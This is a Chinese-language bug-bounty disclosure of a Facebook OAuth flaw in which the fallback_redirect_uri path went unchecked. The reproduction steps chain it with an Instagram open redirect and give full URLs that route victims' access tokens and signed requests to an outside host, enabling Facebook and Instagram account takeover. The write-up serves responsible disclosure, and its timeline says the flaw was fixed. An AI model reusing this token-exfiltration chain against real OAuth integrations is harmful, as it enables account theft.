由于绕过OAuth流中允许的回调URL导致Facebook帐户被接管

由于绕过OAuth流中允许的回调URL导致Facebook帐户被接管

目录导航

由于缺少在Facebook OAuth流端点中指定的fallback_redirect_uri参数中的URL路径检查,此错误可能允许恶意用户接管Facebook或Instagram帐户。

细节

在域名 m.facebook.com中, 处理Facebook OAuth流的终结点https://m.facebook.com/dialog/oauth在请求通过postMessage返回方法获取access_token/code的请求时具有预格式化的响应。打开窗口(通过xd_arbiter)。响应中的脚本将尝试向指定的目标原点发出postMessage,并在redirect_uri中进行检查,如下所述:

让我们以OAuth流程为示例来授权Instagram应用程序。访问的网址可能是这样的

https://m.facebook.com/v3.3/dialog/oauth?app_id=124024574287414
&redirect_uri=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=46%23origin=https://www.instagram.com/%26relation=opener
&response_type=token,signed_request
&scope=public_profile,email

这里有趣的部分是redirect_uri参数。无需为此应用程序选择列入白名单的redirect_uri,而是选择臭名昭著的xd_arbiter端点,该端点将允许我们通过javascript方法跨窗口通信(postMessage方法)接收Facebook code/access_token。在这里,staticxx.facebook.com url的片段部分中的origin参数必须包含Facebook应用程序列入白名单的网站,否则请求将失败。相同的来源将在响应中用作postMessage方法的targetOrigin。

尽管由于我先前指出的原因,用户无法通过Eventlistener获取access_token(无法操纵postMessage targetOrigin),但我发现还有另一种方法来获取access_token/code ,以防postMessage方法失败:

我们修改了以前的URL是这样的:

https://m.facebook.com/v3.3/dialog/oauth?app_id=124024574287414
&redirect_uri=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=46%23origin=https://www.instagram.com/%26relation=opener
&response_type=token,signed_request
&scope=public_profile,email
&fallback_redirect_uri=https://www.instagram.com/

我们将得到与此类似的响应:

var closeURI = "https:\/\/m.facebook.com\/dialog\/close_window\/?app_id=124024574287414&connect=1&redirect_domain=www.instagram.com";
var fallbackRedirectURI = "https:\/\/www.instagram.com\/#SIGNED_REQUEST&access_token=ACCESS_TOKEN";
var message = "origin=https\u00253A\u00252F\u00252Fwww.instagram.com\u00252F&relation=opener&signed_request=SIGNED_REQUEST&access_token=ACCESS_TOKEN&data_access_expiration_time=0&expires_in=0",
    origin = "https:\/\/www.instagram.com",
    domain = "www.instagram.com",
    relation = "opener",
    debugXD = false,
    xrw = "";
(function() {
    var a = window.opener || window.parent,
        b = navigator.userAgent,
        c = !0;

    function d(a, b) {
        a = window.location.hostname.match(/\.(facebook\.sg|facebookcorewwwi\.(?:test)?onion)$/);
        a = a ? a[1] : "facebook.com";
        new Image().src = "https://m." + a + "/common/scribe_endpoint.php?c=jssdk_error&m=" + encodeURIComponent(JSON.stringify(b))
    }

    function e() {
        var b = a === window;
        try {
            a != null && a !== window && (a === window.opener && relation === "opener.parent" && (a = window.opener.parent), a.postMessage(message, origin), window.close(), window.open("", "_self", ""), window.close()), window.closed || (fallbackRedirectURI ? window.location.replace(fallbackRedirectURI) : closeURI ? window.location.replace(closeURI) : d("jssdk_error", {
                error: "DIALOG_CLOSE",
                extra: {
                    message: "Dialog did not close. refWasSelf: " + b
                }
            }))
        } catch (a) {
            c ? (c = !1, window.setTimeout(e, 200)) : d("jssdk_error", {
                error: "POST_MESSAGE",
                extra: {
                    message: a.message + ", html/js/mobile/connect/XDDialogResponsePurePostMessage.js:43 refWasSelf: " + b
                }
            })
        }
    }

    function f() {
        __fbNative.postMessage(message, origin)
    }
    if (window == top && /FBAN\/\w+;/i.test(b) && !/FBAN\/mLite;/.test(b)) window.__fbNative && __fbNative.postMessage ? f() : window.addEventListener("fbNativeReady", f);
    else {
        f = /iPhone.*Version\/(5|6)/.test(b) ? RegExp.$1 === "5" ? 250 : 800 : 0;
        f ? window.setTimeout(function() {
            e()
        }, f) : e()
    }
})();

如果fallback_redirect_url中的URL域与应用程序列入白名单的网站相同,并且满足其他条件,则同一脚本将重定向到名为fallback_redirect_uri的参数中的选定URL 。只有在未找到打开器窗口的情况下才会发生这种情况,因为window.close将不起作用,并且window.closed将为false,在这种情况下,将执行window.location.replace(fallbackRedirectURI)并将重定向到所选的URL在fallback_redirect_uri中,并将Facebook access_token/coed 嵌入URL的片段部分。
现在的实际错误是fallback_redirect_uri只会接受在Facebook应用程序配置中设置的白名单网站,但是未对URL的路径部分进行检查,就像通常对OAuth流中redirect_uri参数中提供的url所做的检查一样(仅检查了域部分)。攻击者可以选择任何路径来接收令牌。我们可以将其与接收网站中的另一个错误链接在一起,例如开放重定向,以将令牌泄漏到攻击者网站(由于URL的片段部分是由浏览器在重定向中携带的,因此恶意网站会接收到它)。
我已经通过链接此bug和先前在Instagram中报告的打开重定向实现了Facebook / Instagram帐户的接管。

繁殖步骤

受害者应访问此URL或重定向到该URL的攻击者网站:

https://m.facebook.com/v3.3/dialog/oauth?app_id=124024574287414&redirect_uri=https://staticxx.facebook.com/x/connect/xd_arbiter/?version=46%23origin=https://www.instagram.com/%26relation=opener&response_type=token,signed_request&scope=public_profile,email&fallback_redirect_uri=https://www.instagram.com/accounts/convert_to_professional_account/?redirect_uri=https://ysamm.com

这会重定向到:

https://www.instagram.com/accounts/convert_to_professional_account/?redirect_uri=https://ysamm.com#access_token&signed_request

由于其中包含一个开放的重定向,它将重定向到

https://ysamm.com#access_token&signed_request

access_token是为Instagram应用程序生成的第一方令牌,可用于接管Facebook帐户。signed_request包含可用于访问受害者的Instagram帐户的代码。

时间轴

2021年2月7日-报告发送 
至2021年2月8日-Facebook确认
2021年2月18日-Facebook修复漏洞
2021年2月26日-Facebook授予的3万美元(包括奖金)赏金。
2021年2月26日-绕过了警报,尽管移动设备已修复,但该漏洞仍然存在。
2021年3月5日-Facebook确认。
2021年3月17日-Facebook修复。
2021年3月22日-Facebook授予的12,000美元(包括奖金)赏金。

from